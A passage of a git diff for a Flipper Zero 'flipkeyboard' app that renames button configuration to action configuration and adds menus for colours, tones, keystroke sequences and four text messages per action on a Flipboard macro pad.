keystroke. + * @param item The VariableItem that was changed. + */ +static void keystroke_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + uint8_t item_index = keystroke_item_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item_index); + FURI_LOG_D(TAG, "ks.button_code=%d .count=%d", ks.button_code, ks.count); + action_model_set_keystroke(action_model, item_index, keystroke_values[index], ks.count); + variable_item_set_current_value_text(item, keystroke_names[index]); +} + +/** + * @brief keystroke_count_changed is called when the keystroke count setting is changed. + * @param item The VariableItem that was changed. +*/ +static void keystroke_count_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + uint8_t item_index = keystroke_item_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item_index); + FURI_LOG_D(TAG, "ks.button_code=%d .count=%d", ks.button_code, ks.count); + action_model_set_keystroke(action_model, item_index, ks.button_code, index); + variable_item_set_current_value_text(item, keystroke_count_names[index]); +} + +/** + * @brief populate_variable_item_list_color adds a color configuration. + * @details populate_variable_item_list_color adds a color configuration. It + * adds a VariableItem (config) to the VariableItemList. It sets the current + * value index to the index of the color passed in, if it finds a match. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @param label The label for the setting. + * @param callback The callback for when the setting is changed. + * @param initial_color The initial color in HEX to default to (RRGGBB). +*/ +static void populate_variable_item_list_color( + ActionConfig* action_config, + ActionModel* action_model, + char* label, + VariableItemChangeCallback callback, + uint32_t initial_color) { + VariableItem* item = variable_item_list_add( + action_config->item_list, label, COUNT_OF(color_names), callback, action_model); + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(color_values); i++) { + if(initial_color == color_values[i]) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief populate_variable_item_list_frequency adds a frequency configuration. + * @details populate_variable_item_list_frequency adds a frequency configuration. + * It sets the current value index to the index of the frequency passed in, if + * it finds a match. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @param label The label for the setting. + * @param callback The callback for when the setting is changed. + * @param frequency The initial frequency to default to. +*/ +static void populate_variable_item_list_frequency( + ActionConfig* action_config, + ActionModel* action_model, + char* label, + VariableItemChangeCallback callback, + float frequency) { + VariableItem* item = variable_item_list_add( + action_config->item_list, label, COUNT_OF(tone_names), callback, action_model); + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(tone_values); i++) { + float diff = frequency - tone_values[i]; + if(diff < 0.0f) diff = -diff; + if(diff < 1.0f) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, tone_names[index]); +} + +/** + * @brief populate_variable_item_list_keystrokes adds keystroke and count configurations. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @return The number of lines added. +*/ +static uint8_t + populate_variable_item_list_keystrokes(ActionConfig* action_config, ActionModel* action_model) { + uint8_t lines_added = 0; + + uint8_t count = action_model_get_keystrokes_count(action_model); + + for(int j = 0; j < count; j++) { + Keystroke ks = action_model_get_keystroke(action_model, j); + FURI_LOG_D("Flipboard", "POPULATE ks.button_code=%d .count=%d", ks.button_code, ks.count); + + VariableItem* item = variable_item_list_add( + action_config->item_list, + "Keystroke", + COUNT_OF(keystroke_names), + keystroke_changed, + action_model); + lines_added++; + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(keystroke_names); i++) { + if(keystroke_values[i] == ks.button_code) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, keystroke_names[index]); + + item = variable_item_list_add( + action_config->item_list, + "Count", + COUNT_OF(keystroke_count_names), + keystroke_count_changed, + action_model); + lines_added++; + index = COUNT_OF(keystroke_count_names) - 1; + for(size_t i = 0; i < COUNT_OF(keystroke_count_names); i++) { + if(i == ks.count) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, keystroke_count_names[index]); + } + + return lines_added; +} + +/** + * @brief message_updated is called when the text message is updated. + * @param context The ActionModel. + * @param index The index of the message that was updated. + */ +static void message_updated(void* context, uint8_t index) { + ActionModel* action_model = (ActionModel*)context; + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + furi_assert(action_config); + action_model_set_message(action_model, action_model_get_temp_buffer(action_model), index); + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); +} + +/** + * @brief message_updated is called when the text message 1 is updated. + * @param context The ActionModel. + */ +static void message1_updated(void* context) { + message_updated(context, 0); +} + +/** + * @brief message_updated is called when the text message 2 is updated. + * @param context The ActionModel. + */ +static void message2_updated(void* context) { + message_updated(context, 1); +} + +/** + * @brief message_updated is called when the text message 3 is updated. + * @param context The ActionModel. + */ +static void message3_updated(void* context) { + message_updated(context, 2); +} + +/** + * @brief message_updated is called when the text message 4 is updated. + * @param context The ActionModel. + */ +static void message4_updated(void* context) { + message_updated(context, 3); +} + +/** + * @brief keystroke_selector_callback is called when a keystroke is selected. + * @param button_code The button code that was selected. + * @param context The ActionModel. +*/ +static void keystroke_selector_callback(uint16_t button_code, void* context) { + ActionModel* action_model = (ActionModel*)context; + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + uint8_t item = action_model_get_temp_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item); + if(ks.button_code != button_code) { + action_model_set_keystroke(action_model, (uint8_t)item, button_code, ks.count); + populate_variable_item_list(action_config, action_model); + } + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); +} + +/** + * @brief item_message_clicked is called when a message is clicked in the config menu. + * @details item_message_clicked is called when an item is clicked in the config menu. + * It displays an enter message dialog and will store the message in the ActionModel. + * @param action_model The ActionModel. + * @param message_number The message number to edit (0-3). +*/ +static void item_message_clicked(ActionModel* action_model, uint8_t message_number) { + FURI_LOG_D(TAG, "Message index clicked"); + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + furi_assert(action_config); + + text_input_set_header_text( + action_config->text_input, + (message_number == 0) ? "Enter message 1" : + (message_number == 1) ? "Enter message 2" : + (message_number == 2) ? "Enter message 3" : + "Enter message 4"); + if(action_model_get_message(action_model, message_number)) { + strncpy( + action_model_get_temp_buffer(action_model), + furi_string_get_cstr(action_model_get_message(action_model, message_number)), + action_model_get_temp_buffer_size(action_model) - 1); + } else { + action_model_get_temp_buffer(action_model)[0] = 0; + } + + view_set_previous_callback( + text_input_get_view(action_config->text_input), + get_menu_callback(action_config->view_item_list_id)); + + text_input_set_result_callback( + action_config->text_input, + (message_number == 0) ? message1_updated : + (message_number == 1) ? message2_updated : + (message_number == 2) ? message3_updated : + message4_updated, + action_model, + action_model_get_temp_buffer(action_model), + action_model_get_temp_buffer_size(action_model), + false); + + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_text_input_id); + + return; +} + +/** + * @brief item_clicked is called when an item is clicked in the config menu. + * @details item_clicked is called when an item is clicked in the config menu. + * It determines which item was clicked and switches to the appropriate view, + * if the item has an editor. + * @param context The ActionModel. + * @param index The index of the item that was clicked. +*/ +static void item_clicked(void* context, uint32_t index) { + ActionModel* action_model = (ActionModel*)context; + uint8_t message_index = action_model_get_message_index(action_model); + if(index >= message_index && index < message_index + 4u) { + item_message_clicked(action_model, index - message_index); + return; + } + + uint8_t keystroke_index = action_model_get_keystroke_index(action_model); + if(index == keystroke_index) { + FURI_LOG_D("Flipboard", "Keystroke index clicked"); + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + + uint16_t keycode = 0; + action_model_append_keystroke(action_model, keycode, 1); + + populate_variable_item_list(action_config, action_model); + return; + } + + if(index < keystroke_index) { + uint32_t count = action_model_get_keystrokes_count(action_model); + + int32_t item = count - ((keystroke_index - index) / 2); + + FURI_LOG_D( + "Flipboard", + "Keystroke clicked? item=%ld count=%ld keystroke_index=%d index=%ld", + item, + count, + keystroke_index, + index); + + if(item < 0) { + FURI_LOG_D("Flipboard", "Not keystroke clicked. Ignorning"); + return; + } + + if(index % 2 == 0) { + FURI_LOG_D("Flipboard", "Count clicked. Ignorning"); + return; + } + + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + if(action_config->keystroke_selector == NULL) { + return; + } + + view_set_previous_callback( + keystroke_selector_get_view(action_config->keystroke_selector), + get_menu_callback(action_config->view_item_list_id)); + + Keystroke keystroke = action_model_get_keystroke(action_model, (uint8_t)item); + keystroke_selector_set_key(action_config->keystroke_selector, keystroke.button_code); + action_model_set_temp_index(action_model, (uint8_t)item); + keystroke_selector_set_callback( + action_config->keystroke_selector, keystroke_selector_callback, action_model); + + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_keystroke_selector_id); + + return; + } + + FURI_LOG_D("Flipboard", "Unknown index clicked %ld", index); +} + +/** + * @brief populate_variable_item_list adds the variable items to the list. + * @details populate_variable_item_list adds the variable items to the list. It starts + * by resetting the list. Then it adds the items based on the fields in the + * ActionConfig and the ActionModel. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. +*/ +static void populate_variable_item_list(ActionConfig* action_config, ActionModel* action_model) { + variable_item_list_reset(action_config->item_list); + uint8_t item_index = 0; + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldColorDown) { + populate_variable_item_list_color( + action_config, + action_model, + "Press color", + color_down_changed, + action_model_get_color_down(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldColorUp) { + populate_variable_item_list_color( + action_config, + action_model, + "Release color", + color_up_changed, + action_model_get_color_up(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldFrequency) { + populate_variable_item_list_frequency( + action_config, + action_model, + "Music note", + tone_changed, + action_model_get_frequency(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & + ActionModelFieldKeystrokes) { + item_index += populate_variable_item_list_keystrokes(action_config, action_model); + variable_item_list_add(action_config->item_list, "Add Keystroke", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + action_model_set_keystroke_index(action_model, item_index); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 1", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + action_model_set_message_index(action_model, item_index); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 2", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 3", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 4", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } +} + +/** + * @brief item_callback is called when a action is selected in the menu. + * @details item_callback is called when a action is selected in the menu. It + * sets the ActionConfig in the ActionModel. It then populates the + * VariableItemList with the settings for the action. Finally, it switches to + * the VariableItemList view. + * @param context The ActionConfig. + * @param index The index of the action that was selected. +*/ +static void item_callback(void* context, uint32_t index) { + ActionConfig* action_config = (ActionConfig*)context; + FlipboardModel* model = action_config->model; + ActionModel* action_model = flipboard_model_get_action_model(model, index); + if(!action_model) { + FURI_LOG_E("TAG", "Index=%ld action_model=NULL", index); + } else { + FURI_LOG_D( + "TAG", + "Index=%ld action_model.action_id=%d", + index, + action_model_get_action_id(action_model)); + } + + furi_assert(action_model && action_model_get_action_id(action_model) == index); + action_model_set_action_config(action_model, action_config); + populate_variable_item_list(action_config, action_model); + variable_item_list_set_selected_item(action_config->item_list, 0); + + if(action_config->view_dispatcher) { + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); + } +} + +/** + * @brief Allocate and initialize ActionConfig structure. + * @details Allocate and initialize ActionConfig structure. Applications can + * pass in a list of keys to be used for the keystroke selector. + * @param model The FlipboardModel. + * @param config_view_id The view id for the configure view. + * @param keys The list of keys to be used for the keystroke selector. + * @param shift_keys The list of shift keys to be used for the keystroke selector. + * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is + * used for the number of columns. +*/ +ActionConfig* action_config_alloc( + FlipboardModel* model, + uint32_t config_view_id, + KeystrokeSelectorKey* keys, + KeystrokeSelectorKey* shift_keys, + uint8_t rows) { + ActionConfig* action_config = (ActionConfig*)malloc(sizeof(ActionConfig)); + action_config->view_dispatcher = NULL; + action_config->model = model; + action_config->menu_actions = submenu_alloc(); + action_config->view_menu_actions_id = config_view_id; + action_config->text_input = text_input_alloc(); + action_config->view_text_input_id = 0; + action_config->keystroke_selector = + (keys == NULL) ? NULL : keystroke_selector_alloc(keys, shift_keys, rows); + action_config->view_keystroke_selector_id = 0; + action_config->item_list = variable_item_list_alloc(); + action_config->view_item_list_id = 0; + view_set_previous_callback( + variable_item_list_get_view(action_config->item_list), get_menu_callback(config_view_id)); + + FuriString* action_name = furi_string_alloc(); + + bool single = flipboard_model_get_single_button_mode(model); + + for(int i = 1; i < 16;) { + furi_string_printf(action_name, "Action %d (", i); + if(i == 15) { + furi_string_cat_printf(action_name, "all buttons"); + } else { + furi_string_cat_printf(action_name, "button"); + if(i != 1 && i != 2 && i != 4 && i != 8) { + furi_string_cat_printf(action_name, "s"); + } + furi_string_cat_printf(action_name, " "); + int btn = 0; + if(i & 1) { + furi_string_cat_printf(action_name, "1"); + btn |= 1; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 2) { + furi_string_cat_printf(action_name, "2"); + btn |= 2; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 4) { + furi_string_cat_printf(action_name, "3"); + btn |= 4; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 8) { + furi_string_cat_printf(action_name, "4"); + btn |= 8; + } + } + furi_string_cat_printf(action_name, ")"); + submenu_add_item( + action_config->menu_actions, + furi_string_get_cstr(action_name), + i, + item_callback, + action_config); + if(single) { + i = i << 1; + } else { + i++; + } + } + submenu_set_header(action_config->menu_actions, "Configure Action"); + + return action_config; +} + +/** + * @brief action_config_free releases allocated resources. + * @param action_config The ActionConfig to free. +*/ +void action_config_free(ActionConfig* action_config) { + if(action_config->view_dispatcher != NULL) { + if(action_config->view_item_list_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_item_list_id); + } + + if(action_config->view_text_input_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_text_input_id); + } + + if(action_config->view_keystroke_selector_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_keystroke_selector_id); + } + } + variable_item_list_free(action_config->item_list); + submenu_free(action_config->menu_actions); + text_input_free(action_config->text_input); + if(action_config->keystroke_selector) { + keystroke_selector_free(action_config->keystroke_selector); + } + free(action_config); +} + +/** + * @brief Get view of ActionConfig structure. + * @details This function return view of ActionConfig structure. It is used to add ActionConfig + * view to ViewDispatcher. + * @param action_config Pointer to ActionConfig structure. + * @return Pointer to view of ActionConfig structure. +*/ +View* action_config_get_view(ActionConfig* action_config) { + return submenu_get_view(action_config->menu_actions); +} + +/** + * @brief Get view id of ActionConfig structure. + * @details This function return view id of ActionConfig structure. It is used to add ActionConfig + * view to the application menu. + * @param action_config Pointer to ActionConfig structure. + * @return View id of ActionConfig structure. +*/ +uint32_t action_config_get_view_id(ActionConfig* action_config) { + return action_config->view_menu_actions_id; +} + +/** + * @brief action_config_register_dispatcher registers the ViewDispatcher. + * @param action_config The ActionConfig. + * @param view_dispatcher The ViewDispatcher. +*/ +void action_config_register_dispatcher( + ActionConfig* action_config, + ViewDispatcher* view_dispatcher) { + action_config->view_dispatcher = view_dispatcher; +} + +/** + * @brief action_config_register_variable_item_list registers the VariableItemList. + * @details action_config_register_variable_item_list registers the VariableItemList. The + * VariableItemList is used to show the configuration of a action. + * @param action_config The ActionConfig. + * @param variable_item_list_view_id The view id for the VariableItemList. +*/ +void action_config_register_variable_item_list( + ActionConfig* action_config, + uint32_t variable_item_list_view_id) { + furi_assert(action_config->view_dispatcher != NULL); + action_config->view_item_list_id = variable_item_list_view_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_item_list_id, + variable_item_list_get_view(action_config->item_list)); +} + +/** + * @brief action_config_register_text_input registers the TextInput. + * @details action_config_register_text_input registers the TextInput. The + * TextInput is used to enter a message. + * @param action_config The ActionConfig. + * @param text_input_id The view id for the TextInput. +*/ +void action_config_register_text_input(ActionConfig* action_config, uint32_t text_input_id) { + furi_assert(action_config->view_dispatcher != NULL); + action_config->view_text_input_id = text_input_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_text_input_id, + text_input_get_view(action_config->text_input)); +} + +/** + * @brief action_config_register_keystroke_selector registers the KeystrokeSelector. + * @details action_config_register_keystroke_selector registers the KeystrokeSelector. The + * KeystrokeSelector is used to select a keystroke. + * @param action_config The ActionConfig. + * @param keystroke_selector_id The view id for the KeystrokeSelector. +*/ +void action_config_register_keystroke_selector( + ActionConfig* action_config, + uint32_t keystroke_selector_id) { + furi_assert(action_config->view_dispatcher != NULL); + if(action_config->keystroke_selector == NULL) { + return; + } + action_config->view_keystroke_selector_id = keystroke_selector_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_keystroke_selector_id, + keystroke_selector_get_view(action_config->keystroke_selector)); +} diff --git a/applications/external/flipkeyboard/common/action_config.h b/applications/external/flipkeyboard/common/action_config.h new file mode 100644 index 00000000000..fd8129fa000 --- /dev/null +++ b/applications/external/flipkeyboard/common/action_config.h @@ -0,0 +1,99 @@ +/** + * @file action_config.h + * @brief This file contains the ActionConfig type and related functions. + * @details This file contains the ActionConfig type and related functions. + * The action_config module is responsible for managing the configuration of a + * action on the Flipboard. An action may consist of multiple buttons at the + * same time (so there are 15 actions that can be configured). +*/ + +#pragma once + +#include +#include +#include "keystroke_selector.h" + +typedef struct FlipboardModel FlipboardModel; +typedef struct ActionConfig ActionConfig; + +/** + * @brief Allocate and initialize ActionConfig structure. + * @details Allocate and initialize ActionConfig structure. Applications can + * pass in a list of keys to be used for the keystroke selector. + * @param model The FlipboardModel. + * @param config_view_id The view id for the configure view. + * @param keys The list of keys to be used for the keystroke selector. + * @param shift_keys The list of shift keys to be used for the keystroke selector. + * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is + * used for the number of columns. + */ +ActionConfig* action_config_alloc( + FlipboardModel* model, + uint32_t config_view_id, + KeystrokeSelectorKey* keys, + KeystrokeSelectorKey* shift_keys, + uint8_t keyboard_rows); + +/** + * @brief action_config_free releases allocated resources. + * @param action_config The ActionConfig to free. + */ +void action_config_free(ActionConfig* action_config); + +/** + * @brief Get view of ActionConfig structure. + * @details This function return view of ActionConfig structure. It is used to add ActionConfig + * view to ViewDispatcher. + * @param action_config Pointer to ActionConfig structure. + * @return Pointer to view of ActionConfig structure. + */ +View* action_config_get_view(ActionConfig* action_config); + +/** + * @brief Get view id of ActionConfig structure. + * @details This function return view id of ActionConfig structure. It is used to add ActionConfig + * view to the application menu. + * @param action_config Pointer to ActionConfig structure. + * @return View id of ActionConfig structure. + */ +uint32_t action_config_get_view_id(ActionConfig* action_config); + +/** + * @brief action_config_register_dispatcher registers the ViewDispatcher. + * @param action_config The ActionConfig. + * @param view_dispatcher The ViewDispatcher. + */ +void action_config_register_dispatcher( + ActionConfig* action_config, + ViewDispatcher* view_dispatcher); + +/** + * @brief action_config_register_variable_item_list registers the VariableItemList. + * @details action_config_register_variable_item_list registers the VariableItemList. The + * VariableItemList is used to show the configuration of a action. + * @param action_config The ActionConfig. + * @param variable_item_list_view_id The view id for the VariableItemList. + */ +void action_config_register_variable_item_list( + ActionConfig* action_config, + uint32_t variable_item_list_view_id); + +/** + * @brief action_config_register_text_input registers the TextInput. + * @details action_config_register_text_input registers the TextInput. The + * TextInput is used to enter a message. + * @param action_config The ActionConfig. + * @param text_input_id The view id for the TextInput. +*/ +void action_config_register_text_input(ActionConfig* action_config, uint32_t text_input_id); + +/** + * @brief action_config_register_keystroke_selector registers the KeystrokeSelector. + * @details action_config_register_keystroke_selector registers the KeystrokeSelector. The + * KeystrokeSelector is used to select a keystroke. + * @param action_config The ActionConfig. + * @param keystroke_selector_id The view id for the KeystrokeSelector. +*/ +void action_config_register_keystroke_selector( + ActionConfig* action_config, + uint32_t keystroke_selector_id); diff --git a/applications/external/flipkeyboard/common/button_config_i.h b/applications/external/flipkeyboard/common/action_config_i.h similarity index 64% rename from applications/external/flipkeyboard/common/button_config_i.h rename to applications/external/flipkeyboard/common/action_config_i.h index 13fd501cc2d..c823a1b72c2 100644 --- a/applications/external/flipkeyboard/common/button_config_i.h +++ b/applications/external/flipkeyboard/common/action_config_i.h @@ -5,7 +5,10 @@ #include #include -#include "button_config.h" +#include "../app_config.h" + +#include "action_config.h" +#define DEFINE_COLOR_NAMES_AND_VALUES "action_config_i.h" #include "config_colors.h" #include "config_keystroke.h" #include "config_tones.h" @@ -13,15 +16,15 @@ #include "keystroke_selector.h" #include "menu_callback.h" -struct ButtonConfig { +struct ActionConfig { FlipboardModel* model; ViewDispatcher* view_dispatcher; - // menu_buttons is used for showing a list of buttons to be configured. - Submenu* menu_buttons; - uint32_t view_menu_buttons_id; + // menu_actionss is used for showing a list of action to be configured. + Submenu* menu_actions; + uint32_t view_menu_actions_id; - // item_list is used for showing the configurations of a button. + // item_list is used for showing the configurations of an action. VariableItemList* item_list; uint32_t view_item_list_id; @@ -38,4 +41,6 @@ typedef struct { void* app; uint8_t key; uint8_t index; -} VariableItemContext; \ No newline at end of file +} VariableItemContext; + +static void populate_variable_item_list(ActionConfig* button_config, ActionModel* bm); \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/button_model.c b/applications/external/flipkeyboard/common/action_model.c similarity index 50% rename from applications/external/flipkeyboard/common/button_model.c rename to applications/external/flipkeyboard/common/action_model.c index 1bb2bd54e7a..2df5761bf3c 100644 --- a/applications/external/flipkeyboard/common/button_model.c +++ b/applications/external/flipkeyboard/common/action_model.c @@ -1,23 +1,22 @@ -#include "button_model_i.h" - -static ButtonModelFields - button_model_load_has_id(uint16_t button_id, FlipperFormat* flipper_format); -static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_format); +#include "action_model_i.h" /** - * @brief Allocates a new button model. - * @param button_id The button id for the model. - * @return The new button model. + * @brief Allocates a new action model. + * @param action_id The action id for the model. + * @return The new action model. */ -ButtonModel* button_model_alloc(uint8_t button_id) { - ButtonModel* model = malloc(sizeof(ButtonModel)); - model->button_id = button_id; +ActionModel* action_model_alloc(uint8_t action_id) { + ActionModel* model = malloc(sizeof(ActionModel)); + model->action_id = action_id; model->color_up = 0x000000; model->color_down = 0x000000; model->frequency = 0.0f; model->keystrokes_count = 0; model->keystrokes = NULL; - model->message = NULL; + model->message[0] = NULL; + model->message[1] = NULL; + model->message[2] = NULL; + model->message[3] = NULL; model->message_index = 0; model->temp_buffer_size = 30; model->temp_buffer = (char*)malloc(sizeof(char) * model->temp_buffer_size); @@ -25,32 +24,35 @@ ButtonModel* button_model_alloc(uint8_t button_id) { } /** - * @brief Allocates a new button model from a FlipperFormat. - * @param button_id The button id for the model. + * @brief Allocates a new action model from a FlipperFormat. + * @param action_id The action id for the model. * @param flipper_format The FlipperFormat to load from. - * @return The new button model. + * @return The new action model. */ -ButtonModel* button_model_alloc_from_ff(uint8_t button_id, FlipperFormat* flipper_format) { - ButtonModelFields fields = button_model_load_has_id(button_id, flipper_format); - if(fields == ButtonModelFieldNone) { +ActionModel* action_model_alloc_from_ff(uint8_t action_id, FlipperFormat* flipper_format) { + ActionModelFields fields = action_model_load_has_id(action_id, flipper_format); + if(fields == ActionModelFieldNone) { return NULL; } - ButtonModel* model = button_model_alloc(button_id); - button_model_load_fields(model, flipper_format); + ActionModel* model = action_model_alloc(action_id); + action_model_load_fields(model, flipper_format); return model; } /** - * @brief Frees a button model. + * @brief Frees a action model. * @param model The model to free. */ -void button_model_free(ButtonModel* model) { +void action_model_free(ActionModel* model) { if(model->keystrokes) { free(model->keystrokes); } - if(model->message) { - furi_string_free(model->message); + for(int i = 0; i < 4; i++) { + if(model->message[i]) { + furi_string_free(model->message[i]); + model->message[i] = NULL; + } } if(model->temp_buffer) { free(model->temp_buffer); @@ -59,29 +61,29 @@ void button_model_free(ButtonModel* model) { } /** - * @brief Gets the button id for the model. - * @param model The model to get the button id for. - * @return The button id for the model. + * @brief Gets the action id for the model. + * @param model The model to get the action id for. + * @return The action id for the model. */ -uint8_t button_model_get_button_id(ButtonModel* model) { - return model->button_id; +uint8_t action_model_get_action_id(ActionModel* model) { + return model->action_id; } /** - * @brief Gets the HEX color when the button is not pressed. + * @brief Gets the HEX color when the action is not pressed. * @param model The model to get the color for. - * @return The hex color for when button is up. + * @return The hex color for when action is up. */ -uint32_t button_model_get_color_up(ButtonModel* model) { +uint32_t action_model_get_color_up(ActionModel* model) { return model->color_up; } /** - * @brief Gets the HEX color when the button is pressed. + * @brief Gets the HEX color when the action is pressed. * @param model The model to get the color for. - * @return The hex color for when button is pressed down. + * @return The hex color for when action is pressed down. */ -uint32_t button_model_get_color_down(ButtonModel* model) { +uint32_t action_model_get_color_down(ActionModel* model) { return model->color_down; } @@ -90,7 +92,7 @@ uint32_t button_model_get_color_down(ButtonModel* model) { * @param model The model to get the message index for. * @return The index of the menu item for editing the message. */ -uint8_t button_model_get_message_index(ButtonModel* model) { +uint8_t action_model_get_message_index(ActionModel* model) { return model->message_index; } @@ -99,7 +101,7 @@ uint8_t button_model_get_message_index(ButtonModel* model) { * @param model The model to get the keystroke index for. * @return The index of the menu item for adding a keystroke. */ -uint8_t button_model_get_keystroke_index(ButtonModel* model) { +uint8_t action_model_get_keystroke_index(ActionModel* model) { return model->keystroke_index; } @@ -108,7 +110,7 @@ uint8_t button_model_get_keystroke_index(ButtonModel* model) { * @param model The model to get the temp buffer for. * @return The temp buffer for editing the message. */ -char* button_model_get_temp_buffer(ButtonModel* model) { +char* action_model_get_temp_buffer(ActionModel* model) { return model->temp_buffer; } @@ -117,7 +119,7 @@ char* button_model_get_temp_buffer(ButtonModel* model) { * @param model The model to get the temp buffer size for. * @return The size of the temp buffer for editing the message. */ -size_t button_model_get_temp_buffer_size(ButtonModel* model) { +size_t action_model_get_temp_buffer_size(ActionModel* model) { return model->temp_buffer_size; } @@ -126,25 +128,25 @@ size_t button_model_get_temp_buffer_size(ButtonModel* model) { * @param model The model to get the temp index for. * @return The index of the item being edited. */ -uint8_t button_model_get_temp_index(ButtonModel* model) { +uint8_t action_model_get_temp_index(ActionModel* model) { return model->temp_index; } /** - * @brief Gets the button config associated with this model. - * @param model The model to get the button config for. - * @return The button config associated with this model. + * @brief Gets the action config associated with this model. + * @param model The model to get the action config for. + * @return The action config associated with this model. */ -void* button_model_get_button_config(ButtonModel* model) { - return model->button_config; +void* action_model_get_action_config(ActionModel* model) { + return model->action_config; } /** - * @brief Gets the frequency for the button, in Hz. + * @brief Gets the frequency for the action, in Hz. * @param model The model to get the frequency for. - * @return The frequency for the button. + * @return The frequency for the action. */ -float button_model_get_frequency(ButtonModel* model) { +float action_model_get_frequency(ActionModel* model) { if(model == NULL) { return 0.0f; } @@ -153,11 +155,11 @@ float button_model_get_frequency(ButtonModel* model) { } /** - * @brief Gets the number of keystrokes for the button. + * @brief Gets the number of keystrokes for the action. * @param model The model to get the keystrokes count for. - * @return The number of keystrokes for the button. + * @return The number of keystrokes for the action. */ -uint8_t button_model_get_keystrokes_count(ButtonModel* model) { +uint8_t action_model_get_keystrokes_count(ActionModel* model) { if(model == NULL) { return 0; } @@ -171,7 +173,7 @@ uint8_t button_model_get_keystrokes_count(ButtonModel* model) { * @param index The index of the keystroke to get. * @return The keystroke at the given index. */ -Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index) { +Keystroke action_model_get_keystroke(ActionModel* model, uint8_t index) { if(index < model->keystrokes_count) { return model->keystrokes[index]; } @@ -183,33 +185,34 @@ Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index) { } /** - * @brief Gets the message for the button. + * @brief Gets the message for the action. * @param model The model to get the message for. - * @return The message for the button. + * @param message_number The message number to get. + * @return The message for the action. */ -FuriString* button_model_get_message(ButtonModel* model) { - if(model == NULL) { +FuriString* action_model_get_message(ActionModel* model, uint8_t message_number) { + if(model == NULL || message_number >= 4) { return NULL; } - return model->message; + return model->message[message_number]; } /** - * @brief Sets the HEX color when the button is not pressed. + * @brief Sets the HEX color when the action is not pressed. * @param model The model to set the color for. - * @param color_up The hex color for when button is up. + * @param color_up The hex color for when action is up. */ -void button_model_set_color_up(ButtonModel* model, uint32_t color_up) { +void action_model_set_color_up(ActionModel* model, uint32_t color_up) { model->color_up = color_up; } /** - * @brief Sets the HEX color when the button is pressed. + * @brief Sets the HEX color when the action is pressed. * @param model The model to set the color for. - * @param color_down The hex color for when button is pressed down. + * @param color_down The hex color for when action is pressed down. */ -void button_model_set_color_down(ButtonModel* model, uint32_t color_down) { +void action_model_set_color_down(ActionModel* model, uint32_t color_down) { model->color_down = color_down; } @@ -218,7 +221,7 @@ void button_model_set_color_down(ButtonModel* model, uint32_t color_down) { * @param model The model to set the message index for. * @param index The index of the menu item for editing the message. */ -void button_model_set_message_index(ButtonModel* model, uint8_t index) { +void 